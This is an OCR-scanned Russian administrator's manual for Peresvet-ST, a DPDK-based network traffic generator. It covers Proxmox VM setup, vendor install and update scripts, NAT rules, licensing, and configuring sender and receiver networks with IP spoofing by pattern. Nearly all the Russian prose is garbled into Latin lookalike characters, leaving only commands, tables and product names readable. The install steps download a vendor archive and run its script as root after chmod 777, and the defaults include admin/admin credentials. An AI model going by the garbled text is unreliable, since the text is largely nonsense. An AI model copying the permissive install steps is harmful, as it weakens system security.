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1 BBeaeHue

Hacrosimuii nokyMeHT npenHa3HadeH a1 aaMuHuctparopa cucremsl [lepecser-CT.
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2 KomnoHeHTbI MO

[Iporpammuoe obecrnieuenue [lepecer-CT npencraBisier coO00i KOMILJIEKCHOE PEIICHUE IS
MPOBEJICHUS TECTUPOBAHUS, IMYJISIIUU CETU U PAOOTHI MPUITOKCHHM.
1O ITepecBer-CT cocTOUT U3 CIEAYIONIMX KOMIIOHEHTOB (cM. Puc. 1):

1. peresvet-st-controller - meHTpadbHBIA  YOPABISIOMIANA  KOMIIOHEHT —CHCTEMBI.
KoHnTpomiep KoOpAMHMpPYET BCKO JIOTUKY TECTUPOBAHUS - WHULUHUPYET TECTHI,
KOHTPOJIMPYET COCTOSIHUE areHTOB, COOMpaeT 1 00padaTHIBACT CTAaTHCTHUKY.

DOYHKIUU:
e [IpuHMMaeT KOMaH/bI U MTApaAMETPHI OT MOJIB30BATEIIS;
e VmpasisieT paboToit areHTa (peresvet-st-agent), neperaét emy napameTpsl st
reHepanuy ¥ 00paboTKkH ceTeBoro Tpaduka;
o (CobOwupaer, arperupyer U COXpaHsET PE3yJIbTaThl TECTUPOBAHUS;
e BzaumonelcTByeT ¢ cUCTeMaMu XpaHEHUs U BU3yaiu3anuu nanHbeix (Postgres,
Clickhouse, Grafana).

2. peresvet-st-agent - KOMIIOHEHT CHCTEMBbI, OTBEYAIOIINUN 3a TEHEpaIuio U 00paboTKy
cereBoro Tpaduka. ATEHT HEMOCPEACTBEHHO OCYIIECTBIISET CETEBYID HAarpy3Ky H
U3MEpEHUs, PYKOBOJACTBYSCh IOJIYYEHHBIMH MHCTPYKLMSIMH OT KOHTpoJUlepa H
AMYJHUPYS OJTHOBPEMEHHO MOJIb30BaTENILCKUM U CEPBEPHBINA TpaUK.

DOyHKIUU:
e [lomyuaer napameTpsl reHepauu Tpaduka OT KOHTPOJIIEPa;
e Hcnonb3yer cnenuanusupoBaHHbie ceteBble creku (DPDK (O0ubnmotexn)) st
reHepanuu 1 00padoTku TpaduKa ¢ 3aJaHHBIMH TapaMeTpaMu;
e  ®opMupyer pe3yabTaTbl U3MEPEHUI U OTIIPABIISIET UX 0OPATHO KOHTPOJLIEPY.

3. DPDK (6ubnmorekn) - BbICOKOMPOM3BOAUTENbHBIE OHMOTUOTEKH CETEBOTO BBOJA-

BbIBOIa (I/O), mogkmoyaemble K peresvet-St-agent Bo BpeMsi KOMIIIALIUH.
Oynkuuu: OOecreyuBalOT areHTy BO3MOXKHOCTh A (EKTUBHO OTHPABIATh H
MpUHUMATh OoNbIHe OO0BEMBI CETEBOTO Tpaduka, MUHYS SJIPO OIEPAUOHHOMN
CUCTEMBI 17151 JOCTUXKEHUSI MaKCUMAaJIbHOM TTPOU3BOAUTENILHOCTH.
DPDK
e (OOs3arenbHBI KOMIOHEHT UTOTOBOM COOPKHU;
e OOecneunBaer mnpsMod goctyn K cereBbiM  PCl-yctpoiictBaMm  u
BBICOKOITPOU3BOAUTENIbHBINA CETEBON BBO-BBIBO/I.
4. Postgres - pensiuuonHast 6a3a JaHHBIX JJIS XpaHEHUs] CTPYKTYPHUPOBAHHBIX IaHHBIX

TECTUPOBAHU, TAKUX KaK IMMapaMETPhI 3allyCKOB U METAaIaHHBIC TECTOB.
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5. Clickhouse - komonounast CYB/I, onTHMHU3HpOBaHHAs I XPAHCHHS M ONICPATHBHOIO
aHann3a OOJIBIINX 00BEMOB TEIIEMETPUYCCKUX JTAHHBIX U PE3YJIbTaTOB TECTUPOBAHHSI.

6. Grafana - cucrema Bu3yanu3aluu U aHaiu3a JaHHBIX. [IpeJOCTaBISIET MOIB30BATEIIO
yoOHbIi web-unTepdeiic ans mpocMoTpa rpaduKkoB, METPUK U aHAIIN3a PE3YIbTATOB
WCIIBITAaHUH.

7. Docker / Docker-compose - cuctemMa KOHTEHHEpU3aIllMM W OPKECTPAIMUA CEPBHCOB.

[To3Bonsier pasBepHyTh KommoHeHTBl cuctembl Clickhouse, Postgres, B Bumie

KOHTEHHEPOB.

Nonb3oBaTtensb

peresvet-st-controller

=)

Postgres Clickhouse Grafana Docker-compose

Puc. 1- Cxema komnonenToB 110 IlepecBer-CT
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3 CucteMHble TpeboBaHUA

3.1 [nsa cpedsbi eupmyanuayuu Proxmox VE 8

o a ~ wnhE

[TnaTdopma Buptyanusanuu Proxmox VE §;
Omnepanmonnas cucrema Ubuntu 22.04.2 LTS ni1st BUpTYanbHOM MaIlIWHBL,

Munumym 32 I'b onepatuBHON naMsTH ISl BAPTYaabHOW MallMHbL;

He menee 16 RX/TX ouepeneit a1 ceTeBoi KapThl;

He menee 16 pusnueckux saep CPU Base Clock 2 GHz aiis BupTyallbHOW MallluHBI;

[lo ymonuanuto, MHOTME BUpTyalbHbIe Kiactepsl BM ycranaBmmBaror 1 RX/TX

ouepe/b, YTO OTPAHUYUBALT MPOU3BOIUTEIIFHOCTH CUCTEMBI 1 TT03BOIIsIeT 110 paboTarh

tonbko Ha 1 sape. KonmdectBo RX/TX ouepeneii 10KHO OBITh HE MEHBIIIE KOJIMYECTBA

saep BM.

7. He menee 64 I'b pazmep cBOOOIHOTO TUCKA.
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4 UHcTpykuma no yctaHoBke lNepecBeT-CT

4.1 3anyck ckpunma ycmaHoeku lMepeceem-CT

HJ’IH 3aIlyCKa CKpHIITa YCTAHOBKH HGO6XOI[I/IMO BBITIOJIHUTH CICAYIOIIUEC ﬂCﬁCTBHHZ

Baxkno: nns nonyuenus 3nadennii 'USER' u 'PASSWORD' HeoOxo1umMo HampaBUTh MHCHMO

Ha 1ouTy SUpport@peresvet.it ¢ ykazanuem IOPUINIECKOTO JIUIA U KOHTAKTHBIX JTAHHBIX.

apt-get update && apt-get upgrade

wget --user='USER' --password='PASSWORD' \
https://downloads.peresvet.it/vm-pool/proxmox/st-compose.tar.gz

tar -xzvf st-compose.tar.gz

cd compose

chmod 777 install.sh

sudo ./install.sh

Ckpunt ycranoBku IlepecBer-CT aBTOoMaTmuecku mpoBepuT TpeboBanus k BM, ycraHOBUT

nakeTsl 110 ¢ penosuropus peresvet, ycranosut docker u ero o0passl, BeiaenuT Hugepages u yrouHuT

Tpebyemyto koHpurypaimuio [10 B TepMuHaie B pexkuMe peaabHOr0 BPEMEHH.

[[anee H606XO,I[I/IMO 3aIlOJIHUTD CIICAYIOIIUEC TTOJIL IJIsL 3aBCPIICHUS YCTAaHOBKH HepCCBeT'CT:

[lonsa nuist HacTpoOMKKU KOHTpoJuiepa npuBeaeHsl B Taodn. 1.

Tadn. 1 - OnucaHne HACTPOEK KOHTPOJLIEpa

Hazsanue 3naveHue 3HaveHue MO
YMOJTYAHUIO
[Mopt npusoxeHus Beezute unciioBoe 3HaUEHHE TTIOpTa 8080
KOHTpoJuIepa NPUIOKEHUs] KOHTpOJUIEpa
Xoct Postgres Beenure ip-ampec xocta ¢ Postgres 127.0.0.1
Iopt Postgres Beemute uncioBoe 3HAYCHHUE ITOPTA 5430
IMonw3oBarens Postgres BBenute nMs 1M0JIb30BaTENSA stadmin
[Maposnb OT MOJIK30BATENS BBezute napob 1 moib3oBatess Postgres [Maposb reHepupyercs,
Postgres €CITH T0JIe OCTABUTh
MYCTBIM
Wwms 6a3el nanseix Postgres | Beeaurte mmMs 6a3pl JaHHBIX systemtrace
URL npambopmos Grafana Beeaure cBs3ky ip-aapeca:mopra unu URL BBeauTte cBs3ky ip-
xocta ¢ Grafana anpeca:mopta wi URL

xocra ¢ Grafana

Baxno: ip-aapec xocta ¢ Grafana momken
HMETh TAKOM ke ip-azpec, Kak u ip-aapec
KOHTpOJIepa JJisl JOCTyma B BeO-uHTepderic

Xocrt ClickHouse Beenure ip-axpec xocta ¢ Clickhouse 127.0.0.1

Hopr ClickHouse BBenuTe unciioBoe 3HaUCHHE TTOPTA 8123

Mons3zosarens ClickHouse Beemure umst I0sIb30BaTENS default

[Maposs oT moB30BaTENS Beenure maposs mis mose3zoBatens ClickHouse | Tapons renepupyercs,

ClickHouse €CJIM TI0JIE OCTaBUTh
IYCTBIM
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MM 0a3bl gaHHBIX
ClickHouse

BBC,HI/ITG uMsl 0a3bl JaHHBIX

default

Anmunuctparop Grafana

BBeauTe nms moiap3oBaTeNs

admin

ITaposs anmMuHHCTpaTOpa
Grafana

Beenure maposns s anmuHACcTparopa Grafana

admin

[Tonst st HACTPOMKM areHTa npuBeaeHsl B Tabm. 2.

Taba. 2 - Onucanne HACTPOEK areHTa

Ha3zpaHnue 3HaueHHe 3HaueHHe MO
YMOJTYAHUIO
URL ST koHTpomtepa Beenure cBs3ky ip-aapeca:nopra win URL http://127.0.0.1:8080/

xocTa ¢ ST KOHTpoJuTepOM

Wms xocTa arenra

BBeaure nMs xocta mst areHTa

Nwms xocTa renepupyercs,
€CJIU TI0JI€ OCTaBUTh
ITYCTBIM

JocTynHsle ceTeBble
yCTpoiicTBa

Beenute PCl ampec cereBoro untepdeiica s
npuBs3ku ero Vfio-pci. Bribepere oau u3
JOCTYIHBIX aJpPECOB.

Beemure PCI agpec
cereBoro uHTepdeiica mis
npuBsi3ku ero Vfio-pci.
Bribepere oxuH u3
JOCTYIIHBIX aIPeCcOB.

4.2 3anyck ckpunma obHoeneHus lMepeceem-CT

JlJis 3armycka CKpUnTa YyCTAaHOBKM HEOOXOMMO BBIITOJIHUTH CIICTYIOIINAE ACHCTBHS:

Baxuo: s nomyyenus 3nadeHuii 'USER' u 'PASSWORD' Heo6xoauMo HanpaBUTh MHCEMO

Ha o4ty Support@ peresvet.it C YKa3aHUCM HOPpHUANYCCKOIO JIMIA U KOHTAKTHBIX JaHHBIX.

sudo wget --user='USER'

--password='PASSWORD' \

https://downloads.peresvet.it/vm-pool/proxmox/st-compose.tar.gz -O st-
compose-update. tar.gz
sudo tar -xzvf st-compose-update.tar.gz

cd compose

sudo chmod 777 update.sh

sudo ./update.sh

Ckpunt o6Honenus IlepecBer-CT aBTOMaTH4eCcKH NMPOBEPUT U OOHOBUT KOHTEHWHEPHI IS

pabotsl IlepecBer-CT, yctanoBuT maketsl I1O ¢ pemosutopust peresvet, B TepMHHAIEe B pexXUME

PCaJIbHOT'O BPEMCHU.

4.3 Uucmpykyusi no ycmaHoeke lepeceem-CT e cpede
eupmyanu3sayuu Proxmox VE 8

4.3.1 NoarotoBka runepsusopa Proxmox VE 8

Hns ycranoBku IlepecBer-CT B rumepBuzope Proxmox VE 8 Heo0XxoauMo BBINOJIHUTH

CIEAYIOLIUE ECUCTBUA:

Nsm.

Jlucm
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Otpenaktupyiite ¢aiin /etc/network/interfaces B oneparmonnoii cucreme ¢ Proxmox VE 8 ¢
MMOMOIIIbYO KOMAaH/HbI.

nano /etc/network/interfaces

B ¢aiine /etc/network/interfaces mactpoiite MOCT vmbrl CICAYIOIIAM 00pa3oM:
auto vmbrl

iface vmbrl inet static

address 10.10.10.1/24

bridge-ports none

bridge-stp off

bridge-£fd4d 0

[IpumennTe KOH(MUTYPALHIO C TOMOIIBI0O KOMaH/IbI:

ifreload -a

ITo weobxomumoctu, Hactpoiite NAT s Buyrpensneir ceru 10.10.10.0/24, 49roGwi
MPEIOCTaBUTh NOCTYN BUpTyanbHOW MammHe ¢ [lepecBer-CT. DT0 MOXHO caenath € IMOMOIIBIO
CIICTYIOIIUX KOMaH]I:

# BxIKouYeHMe MapUPYTHU3aALUM

echo "net.ipv4.ip forward=1" >> /etc/sysctl.conf

sysctl -p

# No6aBnenme mpaBumna NAT
iptables -t nat -A POSTROUTING -s 10.10.10.0/24 -o vmbr0 -j MASQUERADE

# CoxpaHeHMe npaBmMI
apt install iptables-persistent -y
netfilter-persistent save

4.3.2 Co3zpaHue BMpTyanbHOW MawuHbl B Proxmox VE 8
Jlanee He0OX0AMMO €O3/1aTh BUPTYyaIbHYI0 MamHy B Proxmox VE 8 ans Ilepecer-CT:
Co3naiite BM yepe3 BeO-unTepdeiic Proxmox co ciieayommuMy napaMmeTpamu:

e General: 3anaiite ums BM

e OS: BeibepuTe 3arpyxennsiii ISO Ubuntu 22.04

e System: Machine: 35, BIOS: OVMF (UEFI), EFI storage: local, Qemu Agent:

IMOCTaBbTC I'aJIOUYKy

e Disks: 64 I'b wiu mo HEOOXOAMMOCTH

e CPU: Cores: 16, Type: host

e Memory: 32768 Mb

e Network: Bridge: vmbrl, Model: VirtlO (paravirtualized), Advanced: multiqueue

paBeH KkoJ-By siiep BM (16)

Jlucm
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JIlnanee moGamieHUE BTOPOM CETeBOM MHTep(elic B HACTPOMKAX BUPTYAJbHOW MAIIMHBI IS

ITepecBer-CT:

Baxkno: ITocne co3ganust BM, HO niepen e€ 3amyckoMm 100aBbTe BTOpOi HHTEpQEiC 10 Havaia

yctanoBku Ubuntu.

e Bridbepure BM — Hardware — Add — Network Device

e Hacrpoiite Advanced: multiqueue paBeH kon-By siuep BM (16)
e Hacrpoiiku: Bridge: vmbrl, Model: VirtlO

e Haxmure Add

e VYcranoska Ubuntu

e 3anyctute BM 1 oTKpoOliTEe KOHCOIB

IIpu wHactpoiike ceTh Bbl yBHUAUTE JABa uHTepdelica: eNP6s18 (mepsbrit

u enp6s19 (sropoii VirtlO)

Jlanee cieqyer HaCTpOKa CETH BO BPEMs YCTAaHOBKH:
IlepsBbiii nuTepdeiic (enp6s18) - ynpapiienue:
Method: Manual

Subnet: 10.10.10.0/24

Address: 10.10.10.101

Gateway: 10.10.10.1

Name servers: 8.8.8.8,8.8.4.4

Bropoii untepgeiic (enp6s19) - nass DPDK:
Mo’xHO He HacTpauBaTh, TaK KaK €ro HacTpouT ckpunt ycraHoBku [lepecser-CT
IIpoBepka nocine yCTaHOBKHU:

# Nposepxa unrepdelicon

ip a

#llpoEepka MapupyTMSaumn
ip route

Hanee Ha coznanHoit BM ycranosute IlepecBer-CT, ucnonb3yst myHkT 4.1.

VirtlO)

Nsm.
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5 OnucaHue onepauuu MNMepecet-CT

5.1 Beb6-uHmepdelic

Jlst nactpotiku [lepecBer-CT HeoOxoaumo oOpaTuThes o nmpotokosy HTTP Ha HasHaueHHBIN

ynpasisronii uatepgeiic [IP-anpeca o nopty 8080.

[Ipu Bxoxe B IlepecBer-CT anMUHUCTpATOP MOMAJACT HA TJIABHYIO CTPAHUILY.

Ha rnaBHo#M CTpaHHUILEC ITOJB30BATCIIIO JOCTYITHBI CIICAYIOIINEC pa3aciibl:

— 3ajmaun — mpeAHa3HA4YeHA I TeHepanuu Tpaduka. B maHHOM pasnene mpeacTaBiCHBI
3a/1a4¥, 9YTO MO3BOJIIOT UCIIOJIB30BATh Pa3IndHbIe MPoduiu renepanuu Tpaduka;

— ATEHTBHI M CeTH — TpeJHa3HauYeHa Il HACTPOWKH MapaMeTPOB areHTOB U OOBEKTOB,
KOTOpBIC OYIyT UCTIOJIL30BATHCS B PODUIISX TeHEepaIuu Tpaduka;

— Ilonmp3oBarenu — nmpeaHa3HaueHa ISl HACTPOMKHU TOJIb30BATENICH, KOTOPhIE OTHOCSTCS K

Hactpoiikam Ilepecser-CT.

5.2 Hacmpolka «AeceHmbl u cemu»

Bxknanka «ArenTel u cetH" npeaHasHadyCHa IJIsd KOH(i)I/Il"ypaI_II/II/I mapaMCeTpoOB arcHTOB M

00BEKTOB, HCOOXOIMMBIX JIJISl CO3JaHUs 3aJIaHUM 110 TeHepaluu Tpaduka.

5.2.1 AreHTbl

Arenr — 3T0 IMporpaMMHO-alIapaTHoe CpeACTBO, I'CHCPUPYIOIICEC Tpa(l)I/IK o 3aJaHHBIM

napameTpam, 1 MOXKECT OBITh IMMPEACTaBJICH B BUJAC CECPpBEpa NI BHpTyaﬂbHOﬁ MAalIvHBI.

5.2.1.1 lNMepeu4Hasi cMeHa naposisi

[Tpoiinsa nepByto ayrentudukanuio B Be6-unrepdeiice Ilepecser-CT agmunuctpatopy 6yner

MPEAJIOKCHO CMCHUTDH TeKyIJ_II/Iﬁ mapoJib. I[J'IH CMCHBI ITapOJId HCO6XO,[[I/IMO BBECTH HOBBIN apoJib B IMOJIA

«[Taponb» u «[loaTBepxkaeHue napois» (cM. Puc. 2).

/A Tpebyetca cmeHa napons

MoaTteepxpaeHue napons

Puc. 2 — OkHoO co cMeHOIi mapoJs
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5.2.1.2 flobaeneHue nuyeH3uu OJisi aceHmMa

Jlnst moGaBeHUs JTMIICH3UH HA areHT HEO0OXO0IUMO CIIeTyIOoIIee:

1)

2)

3)

4)

5)

6)

7)

8)

9)

[TepeiiTu BO BKJIaJKy AT€HT U C€TH — ATeHTBbI;

Haiitu HyXHBII areHT 1 Ha)KaTh Ha KHOIIKY MeTa-JIaHHble areHTa B CTPOKE HY>KHOT'O
areHTa u BeIOpaTh OKHO «CBeEeHU»
OTkpoeTcst OKHO ¢ MeTalaHHBIMU areHTa (mpumMep mnpexacrasieH Ha Puc. 3). B atom okne

Heobxoaumo ckonuposats HWID arenra.

(9 MeTa-faHHble areHTa

3ATPY3UTb JIMLLEH3UIO

HWID areHTa

HWID
cl

Puc. 3 — OkHO ¢ MeTa-JaHHBLIMHU areHTAa
Jlanee HeoOxomMMO HampaBuTh AekTpoHHoe mnucbmMo ¢ HWID arenta wa moury

support@peresvet.it ¢ ykazaHuem IOPHUIAYECKOTO JIUIA U KOHTAKTHBIX JTaHHBIX.

Hanee B otBet Ha ncbMo ¢ HWID arenTa Oyzaer nepenan ¢aiin ¢ TMIeH3UEH.

Jlig Toro, 4toObl 3arpy3uTh JIMLEH3UI0O HEOOXOAMMO Ha)XaTb Ha KHOMKY MeTa-
JAaHHBIC ar€HTa B CTPOKE HYXHOT'O arcHTa u BI)I6paTB OKHO «3arpy31/ITB JIMIICH3UI0»

Jlanee HaxxmMuTe Ha KHOMNKY «lIpocMoTp daiioB» u BeiOepeTe (ailin JIUIIEH3UU B OKHE
noucka ¢aityioB UK neperamute B (ailn B 001aCTh, BBACTICHHYIO TYHKTHPOM.

[Tocne 3arpy3ku Qaina ¢ JauIeH3uell B KOHTPOJUIEP, HAXMHUTE KHOMKY «3arpy3uTh Ha
areHra»

[Tocne 3TOro 3akpbiTh M CHOBAa OTKPBITh OKHO CBEACHUS M YOEIUTCS, UTO JIMLIEH3US
COOTBETCTBYET MPOAYKTaM, JaTaM Hadajla M OKOHYaHUS JEHCTBUHM, NPONYCKHOU

CIIOCOOHOCTH.

Jlucm
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5.2.2 Cetu

HaHHHfI pasacit HeO6XOI[I/IM JJIA CO3JaHUsA O6”beKTOB, KOTOPELIC 6y,I[YT HCIIOJIB30BAaThHCA B

npouIsIX reHeparuu Tpaduka.

OOBEKTHI CETH IEIATCS HA 2 TUIA:

L4 OTHpaBI/ITeHB - I[aHHBIfI 00BEKT 6y,Z[CT HCIIOJIb30BAaTbCA B IUIArMHAX I'CHCpAIlMU

TpaduKa Kak «OTIPABUTEIHY.

e [lonmyyarens — gaHHBIA OOBEKT OyJET HCIIOJIb30BAaThCA B IJIarMHAX FeHepanuu Tpaduka

KakK ((HOJ'Iy‘IaTeJ'IB »

OOBEKT THIIA OTHPABUTEND JACTUTCS Ha 2 TUTA!

e BriximtoueHHbIH criyQp@UHr 0 MaTTepHy - JaHHBIA OOBEKT OyJeT HCHOJIb30BaThCS B

Stateful mnarnaax

e BxuroueHHbli cny@duHT 10 maTTepHy - JaHHBIM 0OBEKT OydeT HMCHOJIb30BATHCA B

Stateless rurarnnax

5.2.2.1 fJlobaeneHue cemu muna «omnpasumensi» onsa Stateful nnasuHoe

Jlist TOro, 4ToOBI CO3aTh OOBEKT THIIA «OTHpaBUTeNIb i Stateful marnHoB HEOOX0MMO:

1) TIlepeiitu B paznen AreHT u cetn — Cern;

2) Jlanee HaxaTh Ha KHONIKY «+ Co31aTh ceTb» (cM. Puc. 4);

Cetun

ATEHTHI

Puc. 4 — Bkaaaka «Cern»

3) 3anoJHUTH MOJIs, OMMCAHUE KOTOPHIX HaxonuTcs B Taomn. 3;

Taon. 3 — IMoas 115 co3AaHus 00BEKTA THIIA «OTHPaBHTEIb» HJs Stateful miarmna

HasBanmue

Onucanmne

3HaueHue

HasBanue cetn

Ha3Banue o0bekTa, KOTOpOe OyaeT
HCTIOJB30BaThC B HACTPOUKAX IJIATHHOB

3amoIHATE HA3BAHUE CETH

Twum cetn

OrtmpaBuTenb — JaHHBIH 00BEKT OyaeT
UCIIONIb30BAThCS B IUTArMHAX TeHEPALH
Tpadrka KaKk «OTIPABUTEIb)

[Momyuarens — naHHbI 00BEKT OyaeT
UCIIONIb30BAThCS B IUIArMHAX TeHEPAIH
Tpaduka kak «Ilomyyaremnsy

OtnpaBurens

Cny¢uHr o
naTTepHy

Bxumtouenue renepanun IP-anpecos o
OIIpe/IeJIEHHOMY MaTepHy, YKa3aHHOMY B
CIEYIOIIEM II0JIE.

TymOnep BbIKITIOUEH

U3m. Jlucm | Ne dokym.

Modnuce |Hama
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IToncetn

IP-anpeca u3 nanHo# mojceTu OymyT
HCIIONIb30BaThCsl B KAYESCTBE
«OTIPABUTEIIS» MPU OTIIPABICHUH MAKETa.

3anonuute none B popmare CIDR
(manpumep, 10.10.10.0/24)

HckmroueHanIe
azpeca

s BeineykasanHoi nogcetu Ilepecser-
CT mpeasnoxuT BEIOpaTh ajipeca, KOTOpbIE
OyIlyT UCKJIFOYATHCS IIPU OTIIPAaBKe
nakeToB (HE0OXOIUMO BEIOPATh 3aHSATHIE
JpYTMMH YCTpOICTBaMU afpeca, YTOObI
n3bexars nepezanucu ARP-Tabmn)

BriGepere agpeca n3 crucka

r03

IP-ampec ycTpoiicTBa, KoTOopoe OymeT
HCTIONB30BATHCS I COSINHEHUSI IOACETH,
yKa3aHHOH BBIIIE, M TOH, 9TO OyzAeT
yKa3aHa B paMKax IUTariHa B Ka4eCTBE
«IoJydaTessi», odecrieunBas nepegady
JaHHBIX MEXy HUMH.

VYxaxwure [P-anpec (manmpumep, 10.10.10.1)

4) Manee, 1uisi CO3[aHUS CETH HEOOXOIMMO HAXKaTh HA KHOMKY «[IpMeHHUTHY.

5.2.2.2 flobaeneHue cemu muna «omnpasumensi» 05 Stateless nnazuHoe

Jlist TOro, 4TOOBI CO3aTh OOBEKT THIIA «OTIPAaBUTENb) I Stateless miaruHoB HeOOX0IUMO:

1) TIlepeiitu B paznen AreHT u cetn — Cern;

2) Jlanee HaxaTh Ha KHONIKY «+ Co31aTh ceTb» (cM. Puc. 4);

3) 3amoyHUTH MOJIS, ONUCAHNE KOTOPHIX HaxoauTcs B Tabm. 4,

Taoua. 4 — IloJis 10151 co31aHusI 00bEKTa THIIA «OTHPAaBUTEIb» s Stateless niaruna

HazBanmue

Onucanmne

3Hauyenue

HasBanwue cetn

HazBanue o0wekTa, kKoTOpoe Oyaer
HCIIONB30BATHCS B HACTPOMKAX IJIarHHOB

3aI10IHNUTh Ha3BaHHUE CETH

Tun cetn

OTtnpaBuTeb — JaHHBIH 00BEKT OyIeT
UCIIOJIB30BAThCA B IUTAaTMHAX T€HEPaIH
Tpadrka Kak «OTIPABUTEIb)
[Tomyyatens — naHHBIN 00BEKT OyneT
UCIIOJIB30BAThCA B IUIAaTMHAX T€HEPAIH
Tpaduka kak «[lomyyarensy

OTtnpaBurenb

Cny¢uHr mo
HaTTepHY

Bxurouenue renepanuu IP-aapecos mo
OIpe/ICTICHHOMY MATTEPHY, YKa3aHHOMY B
CIIE/TyIOIIEeM TI0JIE.

Tymbnep BKIIOUEH

ITarrepu

[MarrepH, no KoTopomy OyayT
reaepupoBatscs |P-anpeca, koTopsie
OyZAyT HCIOIB30BATHCS B KAYECTBE
«OTTPABHUTEIH) IPH OTIPABICHUH MTAKETA.

3amomHuTe TIONTE B popmare X.*.*.* rme X
— DJTOT OKTET BCErJa JOKEH OBIThH
yuciaoM. B xourekcte IPv4 3To uncio
IOJDKHO HAaXOOMTHCS B Auana3zoune ot 0 10
255. Hanmpumep, 10ITyCTUMBIMHU
3HauYeHUsIMU MOTYT ObITH O, 1, 2, ..., 255.
OcranpHble TpH OKTeTa (*.*.%):

Kax b1l U3 3THX OKTETOB MOXKET OBLITH
1160 uncaoM B auanasone ot 0 g0 255,
00 CUMBOJIOM *, KOTOPBIN 0003HAYAET,
YTO B 3TOM MECTE MOKET HAXOIUTHCS
mo6oe umcio ot 0 go 255.

IIpumep:

Nsm.

Jlucm

Ne dokym.
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192.*.** — nepBbIii OKTET (PUKCUPOBAH
(192), ocranbHBIE MOTYT OBITH JIFOOBIMI
quciiamu ot 0 7o 255.

10.0.*.* — nepBBIi OKTET PUKCUPOBAH
(10), Bropoii pukcuposas (0), a TpeTHiA 1
YeTBEepTHIil MOTYT IPUHUMATh JTIO0bIE
3HAYCHUS.

172.16.5.100 — xounkpertHsIii IP-anpec,
I'JIe BCE OKTETHI 33/1aHbl YHCITaMH.

Anpec cepBepa

IP-agpec ¢ koToporo areHt Oyzaer
oOMeHnBaroTcs mHopMaren o ceoux IP
u MAC-anpecax.

VYxaxure [P-anpec (Hanpumep, 10.10.10.2)

r03

IP-ampec ycTpoiicTBa, KoTopoe OyaeT
HCIIOB30BaThCS I COSMHEHUS MOACETH,
yKa3aHHOMH BBIIIE, U TOH, 4yTO OyneT
yKa3aHa B paMKax IJJarMHa B Ka4eCcTBE
«IoJydaTessi», odecrieunBas nepegady
JaHHBIX MEXy HUMHU.

Vkaxwute [P-anpec (Hanpumep, 10.10.10.1)

4) [[a_nee, I CO3JaHusA CCTH H606XOI[I/IMO Ha’XaTb Ha KHOIIKY «HpI/IMCHI/ITB».

5.2.2.3 [JobaeneHue cemu muna «nosay4amesisi»

JJis TOTO, 9TOOBI CO3AaTh OOBEKT TUTIA «ITOJTYYaTENb» HEOOXOIMMO:

1) Tlepeiitu B pazaen AreHT u cetn — Cern;

2) Jlanee HaxkaTh Ha KHONIKY «+ Co31aTh ceTb» (cM. Puc. 4);

3) 3amnoJHUTH MOJIs, ONTUCAHUE KOTOPBIX Haxomutcs B Tadm. 5.

Taba. 5 — Ioas nias co3nanus 00beKTAa THIA CIOJIYYATETb»

HasBanmue

Onucanmne

3HauyeHHe

HazBanue cetu

HazBanme oObekra, KOoTOpoe  Oymer

HCIIOJIB30BATHCA B HaCTpOﬁKaX IJIariHOB

3aI10IHNUTh Ha3BaHHUE CETH

Tun cetn

OTnpaBuTeNb — JaHHBIH 00BEKT OyIeT
UCTIONIB30BAThCS B IUIATMHAX TCHEPALHH
TpadKa KaK «OTHPaBUTEIIb)
[Tomyyatens — naHHBIN 00BEKT OyneT
UCIIOJIB30BAThCA B IUTAaTMHAX T€HEPAIH
Tpaduka kak «Ilomyyaremnsy

ITonyuyarens

IToncers

IP-anpeca u3 manHO¥ mojaceTy OyayT
HCTIOJIB30BaThCS B KAYECTBE «IIOTydaTeyIsh
IIPH OTIIPABIICHHUH TTAKETA.

3anonnute nose B popmare CIDR
(manpumep, 10.10.10.10 um
10.10.10.0/24)

HckaroueHHwIe
azpeca

Jis BeilIeykazaHHOU noacetH Ilepecser-
CT mpennoxut BEIOpaTh afgpeca, KOTOPbIe
OyAyT HCKITFOUATHCS IIPH OTIIPaBKe
MTaKeTOB

BribGepere anpeca u3 criicka

IopTs!

[Mone «ITopTel» OTBEUaET 3a yKazaHHe
KOHKPETHBIX CE€TEBBIX IOPTOB, Uepe3
KOTOpBIE OyIeT MPOUCXOANTH OOMEH
JaHHBIMH B paMKaX JaHHOW CETH WIIN
TTOIKITFOYEHUSL.

[lepeuncaure YnUCIOBBIE MOPTHI
(manpumep, 80 wm 80,81,82 n T1.)

Nsm.
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4) [anee, Ui CO3IaHUS CETH HEOOXOAMMO HaXKaTh Ha KHOMIKY «[I[pUMCHHUTE.

5.2.3 MAC-agpeca
Jansblil paznen HeoOXOauM JUIsl CO3MaHHUs OOBEKTOB, KOTOPHIE OyayT HCIOJIB30BATHCA B
npouIsIX reHeparuu Tpaduka.
OOBEKTHI CETH IEIATCS Ha 2 THIIA:
e OrtmpaBuTellb - JaHHBIH 00BEKT OyIeT HCHOJB30BAThCA B IUIArMHAX T'eHEepaluu

TpaduKa KaK «OTIIPABUTEIbY.

e [lonmy4arens — gJaHHBINA 0OBEKT Oy/ET UCIIOIB30BATHCS B IJIAarMHAX TeHEepauy Tpaduka

KakK ((HOJ'Iy‘IaTeJ'IB »

5.2.3.1 Job6aeneHue MAC-adpeca muna «omnpasumess»
JJis TOTO, 9TOOBI CO3AaTh OOBEKT TUTIA KOTIIPABUTENSY HEOOXOUMO:
1) Ilepeiitu B pa3uen AreHnt u cetu — MAC-aapeca;

2) Jlanee Haxkath Ha KHONIKY «+ Co3xath MAC-aapec» (cm. Puc. 5).

MAC-agpeca

ATEHTEI CETH

Puc. 5— Bkaagka «MAC-aapeca»

3) 3amnoJHUTH MOJIsI, ONTUCAHUE KOTOPBIX HaxomuTcs B Tabi. 6.

Ta6a. 6 — IMoas ans co3nanus oobekta KMAC-anpeca» THNA «OTHPABUTETb»

Ha3panue Onucanne 3HaveHune
Haszsanme MAC- | HasBanme  oOwekta, KoTopoe Oyner | 3amomauth HazBanue MAC-ampeca
anpeca HCTIONIB30BAThCSl B HACTPOMKAX IIIArMHOB
Tun MAC- OTtnpaButens — JaHHBINA 00BEKT OyaeT OTtnpaBuresb
azpeca HCTIONIB30BAThCS B IUTATMHAX TeHEPAIH

Tpad¥Ka KaK «OTHPaBUTEIIb)

[Tomyyatens — naHHBIN 0OBEKT OyIeT

UCIIOJIb30BAThCS B [UIATMHAX I'eHEpaIuu

Tpaduka kak «llomyyaremnsy

MAC-aapec 3uauenne MAC-aapeca, kotopoe Oyaer B 310 nos1e BBomuTCs 3Hauenue MAC-

HCIIONIb30BATHCS B KAYECTBE ajipeca ycTpOHCTBa B CTaHJIapTHOM

«OTIIPABUTEIISI» NIPU OTIPABJICHUM NakeTa. | (opmare (Harpumep,
AB:CD:EF:12:34:56)
